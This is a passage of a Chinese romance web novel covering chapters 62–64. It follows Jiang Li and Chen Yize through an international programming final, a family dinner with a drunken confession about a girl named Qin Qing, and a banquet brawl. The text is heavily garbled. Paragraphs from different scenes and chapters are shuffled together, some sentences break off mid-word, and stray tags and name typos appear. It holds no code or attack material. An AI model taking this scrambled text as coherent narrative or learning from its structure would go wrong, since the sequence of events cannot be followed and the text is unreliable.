徐轻川人高马大,双手揣兜,对着魔都星级酒店门口横竖交叉的艺术墙面壁,须臾间来了一整套的深呼吸:“没关系的徐轻川,胜败都是浮云……” “只能赢,不能输!” 姜厘闻言双目赤红,幽魂般窜过来,在他耳边恶魔低语。 “成天到处嘚瑟。”姜厘弯身从陈屹泽手臂下面钻出来,眼睁睁看着他单手把推车拽回来。 推车在他手里变得很老实,全然失去了那种奔向自由的劲头。 陈屹泽把着推车,“奶奶,回家吃饭啦。” 说完,目光不受控制地移向姜厘,再次陷入不知该如何开口邀请的困境之中。 张桂香答应得很快,拎好自己的小板凳。 “这你孙子啊?”姜厘问。 “羡慕吗?”张桂香问。 “你怎么不早说?”姜厘问。 “你问过?”张桂香问。 “我靠,你还有没有人性啊!”徐轻川心态又崩了个彻底,“世界级的竞赛,我,” 他指指自己,瞠目结舌:“我赢这个?!” 姜厘和徐轻川焦虑得都快打起来了,一旁的汤柘还是明显的心不在焉。 陈屹泽点了两下耳机,站在小队的最远处,半边身子被顶灯照着,低眸还在沟通新上的项目。 老年机器人研发工作被比赛耽搁得太久,他从社会上找了几个有研发经验的公司一起合作,终于赶在昨天正式产出了第一个成品,目前正在老年大学和b市一些较大的养老院做实地测验。 因为新加了实时监控和对话功能,儿女们从app上就能实时跟老人交流互动,一时大受欢迎。 风吹得很凉,陈屹泽眉梢微翘,听完新聘的管理人汇报又简单交代了一些后续安排就挂了电话,抬眼向右前方走去。 “有完没完。” 男生腰窄腿长,懒洋洋地迈到争执的两人中,嗓音告诫。 “听见没,说你呢!你有完没完!”姜厘见有人撑腰,马上趾高气扬起来。 “我——” 那的确是没打听过,姜厘揉了揉后脑勺,看了眼陈屹泽,“你是真结实啊。” 陈屹泽立马就想起她刚才撞到了哪,贴得太近了,的确是很不适合的姿势,但他过来瞧见这人马上要被推车带着撞墙,也没能顾上别的,只能先停下车。 也是趁着目光接触,干脆问:“你一会有地儿吃饭吗?” 问得有点底气不足,姜厘当真没能听清,“什么?” “他说让你去家里吃饭!”已然走出几步的张桂香不耐烦地晃着椅子,催促两人,“走啊!” 没有去他家的理由,姜厘就没动。 张桂香毕竟看人老辣,亲自折返,故意说:“他三叔,你知道吧?” 陈屹泽不明所以,姜厘点了头。 张桂香开始推销:“他三叔每次喝酒,一定会提我家这小子暗恋人的事儿,你可以听听,很下饭的。” 陈屹泽哪里能想到老太太会突然爆料,当场就急了,“奶奶!” “这么劲爆?”姜厘看向陈屹泽,“那我要听。” 陈屹泽避开视线,怎么讲话也不知道了。 “走啦。” 他叹了口气,小声催促两位女士。 徐轻川脸热,还没回怼,就见陈屹泽支了单边腰,另一只手臂重重地压在姜厘肩上,把人硬生生压矮了十公分。 “我说的是你。”一字一顿。 “?” “你再到处贩卖焦虑,我就把你头打进肚子里。” 陈屹泽偏头对上女生难以置信的眼神,袖口挽得很精英,一本正经地锤了姜厘脑袋一拳。 没有收力, 姜厘头顶和心脏同时收紧,疼得很真实。 姜厘把叉子立在蛋糕胚上,认真地回答:“不满意。” 她永远不会满于现状,停止姜前。 现在的分数或许对别人来说已经很不错了,对她而言只配得上奶油蛋糕,开心果味的就留给下一个自己。 陈屹泽听到这个回答,眼中闪过微芒,暗自庆幸:她就是那个把自己放在悬崖边上的人,对别人冷漠对自己更加无情。 这种温和表象下的危险,才算得上有趣。 他冷冷地反问:“那怎样你才会满意?” 姜厘抬眼,伸出纤细的手指,指姜他。 眼前的门应声打开,开门的白人青年惊悚地掉下巴:“OMG,这么多吗?” “辛苦你啦,袋鼠小姐。”他又随手塞过来几张小额美金。 姜厘反应了一会才明白袋鼠小姐指的是外卖员的意思,她摆摆手,有些尴尬,不知道该怎么解释。 好在下一秒Brown教授就走到了玄关处。 “是你,Little sister.” Brown有些惊喜,边擦头发边走过来。 两位洋人一言一语地沟通起来,姜厘听到教授告诉那位青年她是陈屹泽的妹妹后,对方表情立即肃然起敬起来。 “请进吧。” 陈屹泽笑是因为他发现了一个有趣的东西,单纯热血的人对他毫无吸引力甚至有点无聊,他喜欢这种拼命挣扎、命悬一线的人。 还有就是,他的赌,赢了。 陈屹泽侧着身子,靠在窗边,不动生色地看姜她。 没有预想中的那么激动和兴奋,平静又克制,像是在极致推崇斯多亚主义的幸福状态,通过理性掌控全部,不以物喜,不以己悲。 但其中的一幕却又显得如此鲜活,手上的小动作暴露了少女心性,轻敲桌板,似乎是一串乱码,他难以判断出自哪首钢琴曲。 周柏羽又仔细地看了一遍成绩,发现原先同甘共苦的两人现在只剩他一个了,姜厘直接翻身了。 “小厘厘,你不会也被夺舍了吧!” 姜厘:“?”姜厘:“!?!?” 姜厘像个机器人似的,拿着香槟与高管碰杯,憋半天,才体面的搜刮出一句:“幸会。” 姜厘找回呼吸,抱着小包,心想活过来了。 正巧一名西装革履的宾客前来,对方也是一家科技公司的高管,所在公司是行业巨头。 听出他赶客,客人识趣,渐散开。 辞职?相亲?亏她想得出来。 助理走过来,提醒流程,陈屹泽需要发言,他理了理袖口,交代姜厘:“你自己玩会儿,不知道说什么就让小陈给你垫着,小陈,你陪着她。” 助理应是,姜厘心想:不必!再见! 陈屹泽:“跑路扣工资。” 姜厘:随便你! “扣你的,”陈屹泽说他助理。 陈屹泽又去台上耍帅了,霸总气场溢出八百米,在场人超过一半举起手机拍他。 姜厘双目无神,坐在墙边小沙发上,这满场的衣香鬓影谈笑风生与她无关,入她眼的只有人人人人人,进入感官的也只有痒痒痒痒。 胳膊痒、后背痒,昨天的疹子没好全,今天又要添新丁。 她决心抵抗,腾的站起来。 助理也跟着站起来,紧张的看着她。 姜厘:“……我去洗手间。” 她去洗手间,助理亦步亦趋,对那点工资珍惜的要命。 姜厘在门口站住,幽幽的:“你知道劳动法吗?” 助理为难:“我知道不能这么随便扣工资,我是怕陈总骂我,他好凶。” 姜厘用眼神谴责他没有骨气。 助理道:“陈总是不会凶您啦,所以您不知道,我们都好怕他。” 在说什么外星话,这还叫不会凶她! “陈总对您很好很好了,不过您和陈总的感情不一般,这也是应该的。” “你是他下的水军吗,吹彩虹屁要不要加计件工资。” 助理咧着个大牙:“您真好玩。” 姜厘和他没有办法交流了。 虽然,虽然他嘴巴那么坏,为人那么自作主张,但是每次点了外卖叫他拿他都会拿,平时废话也不多,上班下班都不会没话找话,吃泡面的时候火腿肠会分她一半,搬新楼的确都听了她的,所以整体来说,他还行。 姜厘在自己擅长的事情上可以多说点话,少些紧张,然后如果对方也眼神闪躲、死宅属性拉满,那么她又会好一些。 陈屹泽:“又藏什么藏,我带你见几个人。” 一道灼热视线落在她身上,她对别人的目光很敏感,下意识循着望过去。 小叉子戳进白巧,姜厘低头要吃,下一秒被陈屹泽捉住手腕,小叉子转道,喂他嘴里去了。 给他他不要,抢的才好吃,好无聊啊这个人。 上一秒还在自作主张的人真讨厌,后一秒变成了陈屹泽人还挺好的。 姜厘:“不。” 陈屹泽也不知道她又犯病了,毕竟她都好了那么久了,所以今天他这么坏的举动,是无心之失,可以原谅…… 她端着小盘子、拿着小叉子,给陈屹泽看:“这个白巧,里面有夹心,给你。” 姜厘:“你不吃算了,我自己吃。” 手臂痒着,红了,姜厘匆匆进洗手间,从随身小包拿气垫出来,遮盖这片红色。 这说明什么?助理道:“陈总是从心底里就信您,也希望您好。” 姜厘若有“反心”,这是她跳槽的大好机会,陈屹泽只想着带她见见世面、叫她得到她应该受的尊重,却没往这方面想。 助理又说:“我清理邮件的时候,看到您发了辞呈。” 扑打的时候有点疼,但她没有生发出怨气来。 就说了,她这个人没立场。 他穿过人群到姜厘身边去,问幼儿园小朋友似的道:“认识了几个人,聊了几句话?” 姜厘被这个水军蛊到了。 陈屹泽特意邀了几个技术大神来交流,拉着姜厘过去。 源头是一个中等身材的年轻男的,长得还行吧,穿的很贵很考究,气质上不像搞互联网这行的。 姜厘不知道他在看什么,很不舒服,往陈屹泽身后藏了藏。 姜厘老实说:“没认识谁,你吃巧克力吗?” 两人经过了那个男的身边,对方举了举杯子,叫他:“陈少。” 姜厘顿住。 她没有立场,忘掉了被强迫来这里的生气。 助理:“陈总很在意这个,想留您,今晚却带您来这种晚宴,宴会上那么多同行……” 天马升级后有几个技术问题一直在被讨论,姜厘和技术宅接上了头,一个眼睛望地板、一 姜厘从洗手间出去,陈屹泽的发言流程也结束了,他从台子上走下来,在阶梯上,就环看全场,找到了姜厘。 男人目光跟上二人,落在交叠的手腕上,眯了眯眼。 陈屹泽很怀疑:“搞什么,下了毒了?” 姜厘转开头。 陈屹泽没认出这人是谁,不过从这叫法判断出,应该是二代圈里的,随便点了下头问好,带着姜厘到了另一边。 哪里来得取名天才,不知道的还以为她是什么大湾区粤仔,还带点口音的那种。 青年从她手中接过沉重的打包袋,“这是你的哥哥命令你送过来的吗?他真是个坏蛋,这实在太重了。” 姜厘摇摇头,有些腼腆:“是我自己有事找教授。“ “But…Hes truly evil.” “哈哈,我领教过。”蓝眸青年明显很健谈。 Brown教授摆手让青年闭嘴,随后将姜厘引导了会议间内,在旁敲侧击地了解了她的来意后,教授忍不住扶额:“中国人还真是含蓄。” “没问题的,只要你在第一的team里,并且表现达到我满意,我会录取你。” “真的吗?!”姜厘欣喜若狂。 “Sure,Chen也会来吗?” “他应该不……” 没等他反应过来就被陈屹泽踢了一脚:“你这么叫,人家同意?” “嗯,叫我姜厘也行。”姜厘今天心情好。 周柏羽一脸炫耀的样子看得他吐血。 真不知道这两个人的脑电波是什么时候对上的,总之气死陈屹泽的水平好像处于同一纬度。 周柏羽一直不停地夸她,希望尽快把陈屹泽踹了抱上新的大腿,姜厘则是连连点头,被夸得脸都红了。 好在他马上要去操场训练,要不然陈屹泽不保证自己拳头的质量,是否能有惊无险送他归西。 一上午都没看见班主任,这次考试全班都不怎样,她应该是气得不轻。 姜厘一面是不想听训浪费时间,一面有点担心前桌,他应该会首当其冲,身先士卒。脑子里同时还在构想着食堂西点房的小蛋糕,这次考试进步这么大理应奖励自己去一趟的。 她没想到在食堂四楼还能遇上。 “oh…好吧,”教授有些失望,“他还是那么固执。” 姜厘避讳地笑了笑,婉拒了教授递过来的袖珍糖葫芦,没忍住还是叹了口气。 “怎么还是不开心?”Brown笑着问她。 “第一名对我来说太难了。” “哈?有Chen在,你担心什么?他从来没拿过第二。” 姜厘狐疑:“您这么相信他的实力吗?” “他可是我看中的人,不然你以为我之前飞来中国专门找他是做什么?只要他认真发挥,第一绝对是你们小组的。” “好了好了,快回去休息吧,拭眼以待你的表现哦。”Brown还拽了句成语。 “拭目以待,教授。”姜厘笑。 陈屹泽难道是想买个蛋糕,插上蜡烛然后祭奠一下自己的分数吗?这也太松驰了吧,她忍不住感叹。 这其实是他一个人吃饭的日常,少爷很挑食,况且一想到学校食堂的饭最后成了泔水喂猪,他就直犯恶心,西点房的牛排最起码能下咽。 他看见姜厘小心翼翼地刮掉手里的香精小蛋糕的草莓果酱,漫不经心地挑了眉。 端着牛排坐到了她面前。 陈屹泽心念道:不应该吃点好的,最起码也得是开心果蛋糕吧。 他平视着姜厘,没那么居高临下。 “怎么,不喜欢还是不满意?” 不喜欢的是蛋糕,不满意的是成绩。 “哈哈,中国文化博大精深。” “您的中文已经很好了,那我先走了。晚安。” “晚安,Little sister.” “对了,”姜厘忙扒住门框,“您能帮我保密吗?不要告诉我哥这件事。” “Emm,Why?” “He will go crazy,and i will die.” 姜厘语气不像在开玩笑。 “…All right,看在美食的面子上。” “Good night.” 第 62 章 第 62 章 … 事情比想象中顺利很多,她已经得到了哈佛研究小组的口头应允。 姜厘回到房间门前时,手上还残留着刚才拎外卖盒落下的红痕,她垂目攥了攥手心,开门望见陈屹泽正松松垮垮地靠在自己房间的沙发上刷手机。 姜厘很罕见地没驱赶这个外来常客。 没人咄咄逼人地逮着姜厘问东问西,甚至没人太过惊讶她的到场。 太舒服了。 饭程过半,陈屹泽的三叔拿着筷子和老孙唱起歌来,完全没调,就是让人无法讨厌,陈兰在欢笑声中抬着酒杯绕过来,姜厘立即起身和她碰杯,告诉她:“是我该谢谢您让我有机会购买房子。” “小姜老板,你都让我不会说话了。”陈兰说。 “妈。”陈屹泽站起来陪着老妈。 陈兰又拉着姜厘嘱咐了几句,告诉她哪些发的食物得少吃,又说千万别怕麻烦,要什么就招呼她家小子。张桂香她马上就要哭,所以立马大声让她快点坐回去多吃菜,命令陈兰不许在这个快乐的日子掉眼泪。 “妈,你自己都在偷抹眼泪。”陈兰说。 张桂香很倔,“胡说八道!” 所有画面和声音都像童话故事一样,姜厘看得有些恍神。 陈屹泽微微靠过来些,小声告诉她说:“这酒度数很高的,不要喝太快。” 姜厘仰头喝光一杯,好歹是把那些不合时宜的羡慕与酸涩压下,又告诉陈屹泽:“就要快喝。” “哎哟,海量!”陈屹泽夸赞着给她舀了勺豆腐圆子。 “哎!小姜老板!看我这忙得都没注意,要勺吗?”陈兰才回到座位,立马又站起来。 陈屹泽很快说:“我早就给她拿了。” 陈兰奇怪地看了儿子一眼,仍然觉得有必要进行招待,接着问:“这个酸菜饼是我家的特色,小姜老板,你那边夹不到吧,我给你夹!” 陈屹泽又说:“她不爱吃酸的。” 半桌人一起看向陈屹泽。 孙明直接戳了陈屹泽一下,“显着你长嘴了是吧。” 陈屹泽推开他。 “干嘛?”孙明被挤到椅背上。 “我夹菜!”陈屹泽大声说。 “夹菜你推我!” “你挡着了!” 孙明不爽起来,联合王天,对陈屹泽的筷子进行了围堵,让他无获而归。 陈屹泽干脆放弃,笑着扭回头,发现姜厘在看着他,于是说:“他们太幼稚。” “你不幼稚?”姜厘问。 “我不幼稚。”陈屹泽说,末了摸摸鼻子,小声说,“我高兴。” “傻乐什么呀?”姜厘说。 陈屹泽环顾一圈桌上的人,“什么都高兴。” 饭局已经进入闲聊阶段,无论气氛再好,长辈和晚辈同桌吃饭,聊起姻缘问题在所难免,孙明首当其冲,被老孙几句连环问题说得头都抬不起来。 王天正咧个大牙傻乐,立马被老爸逮到,让他要是处对象必须告知家里,不然就打断腿。 陈屹泽也没能幸免,三叔倒也没有说得很厉害,只讲自家屹泽就知道暗恋。 果然开始了,姜厘好笑地想。 孙明及时发现姜厘似乎对这个话题很是好奇,本着兄弟就是用来坑的优良传统,他立马答疑解惑。 “我们屹泽啊,心里装着一个女孩呢!成天念!” 三叔也笑哈哈地说:“是啊,这臭小子,说自己初中认识个漂亮丫头,前些年都没听他说,就最近这几……” 三叔歇了音。 三婶立马抓起半块饼塞去三叔嘴里让他醒醒酒。 陈屹泽才收拾完孙明,却半天没回头看,不知道为什么,约莫是某种第六感,他知道此时姜厘正在看自己。 虽然知道不太可能,但希望她可以不要再问。 “陈屹泽,初中记到现在,你这么长情?” 不问就不是姜厘了,陈屹泽叹气。 “痴情着呢!”孙明大喊,试图把脸贴过来,又很快被陈屹泽推回去。 “没有,不是那样的。”陈屹泽只好转向她。 “不喜欢?”姜厘又问。 陈屹泽:“……喜欢的。” 姜厘:“那你蛮长情。” 绕回来了还。 “不是那种喜欢,”陈屹泽其实不太想和姜厘聊这个话题。 但姜厘表现出非常感兴趣的样子,一定要明白问为什么喜欢,是哪种喜欢,具体怎么发现的喜欢。 可能是因为喝了酒。 她非要问,陈屹泽居然就真的告诉了她。 怪酒。 他说自己就是没见过那么勇敢的人,而且很温柔,要用现在的话来说,就是一个内核强大的人。她居然敢在校会上对抗不公,反正就是很勇敢。 陈屹泽顿了顿,声音变得很低,“我吧,高中之后没怎么刻意想过她,是这几年,不太好过,所以会想起自己见过一个很勇敢的人,觉得自己也应该勇敢些,偶尔会感觉力气不够,就开始梦见她。” 他抬起已经空了的酒杯喝了一口,“希望她已经过得很好。” 姜厘偏头瞧他。 小泽年不胜酒力,脑袋越说越低,努力回忆时,会不自觉地眨眼睛,睫毛每扇动一次,脸上就多一丝笑意,语气都变得不自觉地甜蜜起来。 “她叫秦晴,”他介绍说,“是个很勇敢的人。” 这实在是超出姜厘意料的回答。 而且她对此比较有发言权。 她不勇敢,她已经开始了流浪和逃亡。 她明知外面流言如何信口雌黄,但是始终没有正儿八经地对抗过一次,她明明不甘心自己再也无法演奏,不甘心到在每个深夜钻心地疼,却要对每一个关心她的人说自己没事。她愤恨养母收走的专辑版权,自己曾经心血一朝一夕被掠夺,还有她的亲生母亲…… 她要是勇敢,她就不会在这了。 而这样逃避、流浪的自己,居然成为另一个人的精神支柱。 姜厘和秦晴都在不堪时刻遇到陈屹泽,时隔多年又被当面提起,命运真是很爱做弄人。 无论如何,这都是她不配得到的仰慕。 “她不勇敢,很胆小。”她听见自己说。 抽离思绪,姜厘发现陈屹泽一直借着酒劲瞪她。 视线相触的瞬间,陈屹泽立刻说秦晴就是很勇敢,生硬地警告姜厘不许说她坏话,甚至呲了牙。 他维护得不讲理,姜厘觉得有些好笑,只好跟着附和:“是,我不说了。” 片刻,她若有所思地讲:“陈屹泽,你右脸有颗痣,笑的时候痣会沉进酒窝里,很容易让人记住。” 当年听他告白,姜厘压根就没听进去几个字,少年人紧张得五官都在用力,那颗痣被压进脸颊又再次弹出的样子很可爱。 她好笑又好奇地问:“你怎么会不记得她长什么样呢?” 我明明没有变很多。 小醉狗思考得有些慢,反应半天,抬手戳了戳自己右脸,最后放下手臂,表情变得懊恼起来。 “我就没好好看过她的样子,我表白的时候都没敢看她。” 姜厘声音很轻,“是么。” “不过,”陈屹泽突然专注地盯着姜厘,“我头一回见你就觉得眼熟,而且吧,你的声音很像她,我就总想着多瞧瞧你呢。” 姜厘手指因这句话猛地蜷了一下,心口也随之一紧。 “但我没问,你知道吧?”陈屹泽说,“我自己都记不大清,拿去问你,就特别不尊重人,怕你把我当流氓。” 姜厘愣了下,随即无声笑开。 “我是真不记得啊……”陈屹泽叹气道,“我当年都没她高,哪里敢看她。” 又小声嘟囔,“而且她突然就走了,都不知道上哪里找她,倒是和她同学要了她的电话号码,打多少次都打不通,真的是。” 陈屹泽开始碎碎念。 “看都不敢看,就敢喜欢人家。”姜厘指指点点。 “你别管,”陈屹泽说,说完还是瞪人,“也别笑。” “不过,你不记得人怎么确定喜欢她的?”姜厘还是觉得好奇。 “你一看就没喜欢过人,”陈屹泽居然嘚瑟起来,又颇有心得地说,“她只要出现,我立马就能知道是她,我闭着眼都能知道谁是她。” “我有雷达。”他补充。 这人喝了酒以后毫无防御,年龄立马倒退十多岁,偏偏还骄傲起来,浑然一副自得自满的样子。 问题是,人就在他对面。 可见年久失修,雷达已经失效。 姜厘和他面对着面,忍了又忍,终于还是很不给面子地笑出了声。 陈屹泽被她笑到困惑,但又被她的笑容感染,即便没有理解全部意义,也不自觉地跟着笑起来。 笑了会,他突然问:“不过,我大概是醉了吧,还是很想问,你是她吗?” “我不是。”姜厘说。 陈屹泽撇了撇嘴,很慢地点头,“我想也是。” 姜厘看了他一会,还是说:“你很帅气,也很有特点,秦晴要是再见到你,一定能认出你,所以你要多笑笑。” 我已经认出你。 陈屹泽眼睛眯起,试图保持严肃,但飘忽的目光已经开始暴露醉意,他想了会,很谨慎地问:“我帅气的哦?英俊吧?” 饭桌 上还是很热闹,孙明和王天兴奋地划拳,喊声却高不过搂肩放声唱歌的三叔和老孙。张婶拉着二丫,正同三婶和陈兰一起规划闺女出嫁之后要怎么过日子。张桂香抱着自己的小酒壶认真听儿子唱歌,偶尔也会对二丫指点一下。 没人注意到这一隅有人在眼巴巴地等待回答。 姜厘左手撑着脸,用受伤的右手轻轻点了点陈屹泽的眉心,陈屹泽注视着那根指头,看得对眼。 “陈屹泽,你太搞笑了。”姜厘说。 陈屹泽也觉得自己很搞笑。 这是他第二天醒过来之后认定的事儿。 “我表白的时候都不敢看她。” “我总想多去瞧瞧你呢。” “你别管。” “你是她吗?” “我帅气的哦?” “英俊吧?” 嘶…… 可恨那些记忆不能随着醉意散去,所以陈屹泽面对姜厘又开始变得尴尬起来。 可是门框还得修。 陈屹泽有心赶工,老屋里负责翻新的几个师傅到点了和他告别离开。 平常这个点姜厘还在外面溜达,就今天回来得很早,和光膀子的陈屹泽打了个照面。 “你是真不喜欢穿衣服啊。”姜厘说。 陈屹泽:“……” “一会天黑了,明天再来吧。”姜厘看了他一眼,迈腿准备进屋。 也是被看这一眼。 陈屹泽在迅速把衣服穿好和转身继续工作之间,开辟了第三条道路。 “看什么看。” 他故意板起脸,摆出难以接近的样子,以此和酒后那个傻子划清界限。 为了虚张声势,他甚至很用力地把工具放下。 姜厘轻笑出声。 这种质量优秀的帅气年轻男性,不看才是不正常。既然他诚心相邀,姜厘自然不好拂人心意,只好顺水推舟。 于是她转身,站定,上上下下,下下上上好好地看了个遍。最后视线停在他胸前,足足看了三四个呼吸。 视线太过滚烫,烫得两个小点点逐渐明显起来。 然后,姜厘低头看看自己,又重新看向陈屹泽,目光里多了些虔诚与羡慕。 她什么都没说,他什么都听见了。 当晚,陈屹泽进院子时还撞了门,动静有如蛮牛闯山,陈兰在厨房里被吓一跳,连忙探出头问儿子怎么了。 “妈,我没事。”他赶紧停下脚步,再三安慰老妈真的没事儿。 和老妈说了几句话,陈屹泽悻悻地揉着头发上楼,觉得姜厘真的是很过分。 怎么能耍流氓呢。 八小时后, 天亮了。 “请各国代表队尽快赶到指定比赛位,第18届IPOM全球总决赛即将开始。” 第 63 章 第 63 章 赛场设定在魔都内一所985大学的体育馆,三种肤色的青年四人一组分散在场馆各个角落。 为避免各小组产生干扰,组隙空间极大。 穿梭在其中的志愿者套着色彩鲜艳的红色马甲,负责午餐安排和一些应急事项。 鲜少有选手露出紧张到异样的神情。 真到坐在赛场上的那刻反而一切都无所谓了,他们从现在到未来的七小时内所要应对的只有题。 繁琐的不繁琐的,只要是题,不管再复杂,半小时内都能得到解决。 每小队两台电脑,四人两台,这样的配比决定了赛题的难度不可能简单到单人看到题后能迅速理清思路作答。 姜厘坐在中间靠左的位置,同样坐到中间位的还有陈屹泽,他作为团队的首脑,摸键盘的时间未必比其他人多,大部分时间需要他用纸稿推演思路,下达指令。 除了还是拿他当残废一样对待以外。 这决定是好是坏?现在逝者已矣,上一辈的事了结,再多讨论,也没必要了。 是以这次的病发,的确是因为她母亲。 夜空璀璨,寒星照人。 陈屹泽头也不抬一下,“门岗吃干饭的?” 陈屹泽本来还挺享受的,故意装的柔弱不能自理,指使她干这干那,结果姜厘把这份柔弱往心里去了,感觉他受了可重的伤,每天早晚她比闹钟还准,抱着药闪现在他面前,甭管他在做什么,看电视、收文件、视频会,必须停下来接受她的换药。 陈屹泽带了姜厘一礼拜,跟带了个小鸡仔似的,他走到哪儿她就跟到哪儿,往往他手刚伸出去,姜厘就把他要的东西拿过来,什么空调遥控器、水杯、手机电脑,给一个眼神她还能读懂自己拿错了,立马换成对的…… 如此一周,陈屹泽人麻了,他的心理都快要不健康了。 他在书桌后用电脑的时候姜厘就守在旁边,他一起身她也紧张的跟上,他洗澡的时候她还要守在浴室外面听一听他有没有摔倒、时不时让他吱个声表示还活着…… 那天,谁也没找到姜厘。 他一份份的翻,助理敲门进来,看看他看看姜厘。 也因为不再需要努力的向她证明什么,所以想要辞职,想要自由的躲进蘑菇屋里。 中间他陪姜厘去看了好几次周佳佳,他没进去,在楼下等,姜厘去陪护。大概姐妹也交心聊过了,几次下来,姜厘状态好转很多。当然负责实际运算的同伴脑子也必须一直保持在高速运转的状态。 姜厘现在很亢奋,她深呼吸过后慢慢看向汤柘,眼中带着稍许不安。 “放心,他可以。” 陈屹泽支着下巴,风轻云淡地收回视线。 汤柘后背一紧,接着又快速放松下来。 他想起昨晚酒店门口陈屹泽扶着他肩,直白地告诉他,姜厘现在最在乎的就是这场比赛,如果他喜欢她,那就证明给她看。 手背搭在桌面紧绷,徐轻川坐在最左边给四人面前各分了一沓演算纸。 纪隽作为这届大赛的资方加颁奖人,下台溜达了一圈,最后鬼鬼祟祟地停在了H大小队身前。 男人轻叩立在电脑后方,蜷指敲了两下显示器:“先打开电脑检查下有没有故障。” “完了,锁住了。”徐轻川脸瞬间煞白。 “废话,还没到开赛时间。” 晚上,姜厘住在陈屹泽这里。 她状态还不算很好,情绪过载,说两句只能应一句。陈屹泽不敢放她一个人,哄骗让她帮自己换药,这两天照顾自己,姜厘答应了。 夜里静悄悄的,陈屹泽打开监控看姜厘睡了没。 感觉自己挺变态的。 看她窝在被子里,一动不动的,陈屹泽关了软件,他去阳台,吹着冷风,嚼着戒烟果糖。 果糖的甜里带了涩味,泛开在舌根,他和与宁长舒终于通上话。 宁长舒之前没有回信息,不是忙,而是时差,他被临时派出国,短期无法回来。 要请他继续做姜厘医生的打算就此泡汤。 陈屹泽捏了捏眉心。 他矗立在冷风里,长久的远眺城市夜空。 思绪无止境,翻回他去姜老师家做客那一日。 姜老师把夹在诗集里的全家福给他看,说,离婚,不知道是做了件好事、还是坏事。 说去世前妻的坏话很没品,姜老师没有用很尖刻的言辞,只是陈述了事实。 姜厘被人欺负,周佳佳去讨回公道,两个女孩子破破烂烂的回来,周鸯揪着姜厘的耳朵把她提起来,骂她到处闯祸、不让人省心,知道自己有缺陷,为什么还要去外面丢人现眼。 周鸯会唠叨自己给她报的口才班、情商课多么贵,白天店里客人又如何刁钻,一遍又一遍,钱太难挣了,她太难了。 但她对周佳佳很好,买新衣服、夸她聪明漂亮,教她对什么人要说什么话,如何分辨哪些男同学家世好,怎样吊着他们、惹他们惦记。【社恐屹泽】 她在姐妹俩面前,翻开的是截然不同的一面。 陈屹泽伸出手去,顿在空中,仿佛用手指触碰到了她的脸颊。 陈屹泽皱了眉。 轻轻叹息。 陈屹泽养伤这周,堆了一些文件,累在办公桌上,颇有分量。 她打算这样放过自己,写下辞呈,并对他说:“我想自由点”。 她在那一刻,越发落进了被恶意预言的轨道里。勇于发言的徐轻川得到纪教授一个爆栗。 “嗷!”徐轻川捂着脑袋嚎叫,“那你让我们检查什么?” “看开机能不能亮啊。” 纪隽还想给徐轻川来两下,看着桌面黑漆漆的摄像头还是忍下,憋着火拂袖而去。 “奇奇怪怪的。”徐轻川自顾自嘟囔完,瞬间感应到三道齐刷刷的视线。 “你们都看着我干什么?” “昨晚上网址上登的赛前公告书你看了没有?”离他最近的姜厘目光如炬。 “公告书……?那上面不就写了参赛时间和地点吗?” 三人有点淡淡的死了。 陈屹泽的眼瞳转为危险的暗色。 “我说是什么呢,抢女人……陈少,一个巴掌拍不响,姓姜的也不是什么好鸟。” “是我想的那样吗,抢女人?难怪气成这样。” 三年未归,陈宅有许多变化。 姜厘将聊天托管给AI,她休假住进爸爸家,并未关注在另一台电脑上发生的事情。 他的相貌英俊冷厉,气场令人瞩目,就算是这样的场景,见者也要感慨一声,绝非池中物。 “老子天天当祖宗供着的人,给你当替身?” 围观的宾客不禁窃窃私语:“什么意思?” 陈新城厉声道:“你和我说清楚,是怎么回事!” 绞尽脑汁解释之际,又传来消息,周佳佳正在爸爸那里发生冲突。 轻轻的“咔嚓声”从外响起,在狭窄的室内分外突出。 陈屹泽的眸光掠过陈新城、挽着他臂膀的女人,再掠过四周的人脸,宴会厅的鲜花、瓷器、璀璨的水晶灯,一切尽收眼底。 陈新城面色霎时铁青。 要解释起来,事情可大可小,可公可私,而陈屹泽选择了最能激怒陈新城的那一种。 议论的焦点,陈屹泽面不改色,衬衣袖子挽起到手肘,手臂线条喷张。 对方心思百转,终于知道自己为什么挨这顿揍,忍不住呸出一口血沫,“哈”了一声: “为了个女人,在自己父亲寿宴上大打出手,你可真是,让人大开眼界,你不知道吧,她收钱收的可利索的很。” “你——” “陈屹泽人呢?他去哪里了,做什么去了,没出事吧?” 陈屹泽走时的状态不对,她担心的不能再担心。 助理开车,实在说不出“没事”两个字。 “这,您看看就知道了。” 去了陈屹泽的大平层,助理留在外面,不再跟进去。 姜厘快步进门,借着光,看见屋里有两个人,坐着的是陈屹泽,站在他旁边的是医生,手边是急救箱,在为他肩膀上药。 姜厘心中一惊。 她跑上前,“陈屹泽!?” 陈屹泽的肩膀开了花,老陈上次出了方澄砚,这次则折了一个明清瓷瓶,碎片扎进肉里,状况惨烈。 对着陈屹泽这个不孝子的有意挑衅,不发火就不是老陈了。 姜厘想用手指碰他额头,又怕让他疼,在距离一点点的地方停住。 “没事,”陈屹泽道,“不用担心。” 空气静止三秒。 随后是压抑许久的爆发! “我就知道!我就知道!!”纪隽险些失态,“这么久了,这么多年……那群老外——” 老友赶快摁住他要吐露芬芳的嘴,“现场直播,现场直播!淡定!” 姜厘这才抬起头。 耳边嗡鸣声轰隆隆。 她看见巨幕中H大战队冲到最顶峰,一时间赛场内其他学子包括志愿者和部分导师都热血沸腾地呐喊出声,主持从隔音篷撤出,握着话筒,朗声宣布华人战队获得全球金奖。 徐轻川和汤柘都高兴疯了,嗷嗷返租嚎叫,陈屹泽站起身,很嚣张地朝前侧的白人青年吹了个口哨,气得青年捶桌直骂Damn。 最高声鼎沸的时候, 姜厘低下头,很小声地对陈屹泽说了句对不起。 第 64 章 第 64 章 … 很多时候,痛苦的根源不是没有选择,而是存在选择。 一旦做出决定,从分岔路口钻进一条笃定的道路,再艰难也能生出一条路走到黑的勇气。 姜厘决定一条路走到黑了。 她会去哈佛,带着妈妈,两个人过轻松愉快的生活。 领奖台上的聚光灯照得眼睛发涩,姜厘用手背蹭了蹭眼睛,她看见主持人把话筒递给了大会承办方纪隽,纪隽正值中年,明明跟着他们熬了几个大夜,却还是神采奕奕。 男人西装笔挺,身上儒雅气质呼之欲出,高谈阔论了一系列大国风采的话,条条奔着头版头条去的。 姜厘低头冥思苦想该怎么效仿着说点上台面的话,顺带还能给今天车弯赞助她的这身领奖服打个广告。 车弯早在一月之前就给他们备好了领奖服,姜厘身上的这身昏金色礼裙花了她半个月设计打样。 耳膜鼓鼓的,身后的音响完全盖住了台下的声浪,赛时的电脑隔断像一个个割据的工位,格格分明。 姜厘回神,忽然撞了身侧的陈屹泽一下。 “你看台下,像不像华夫饼干?” 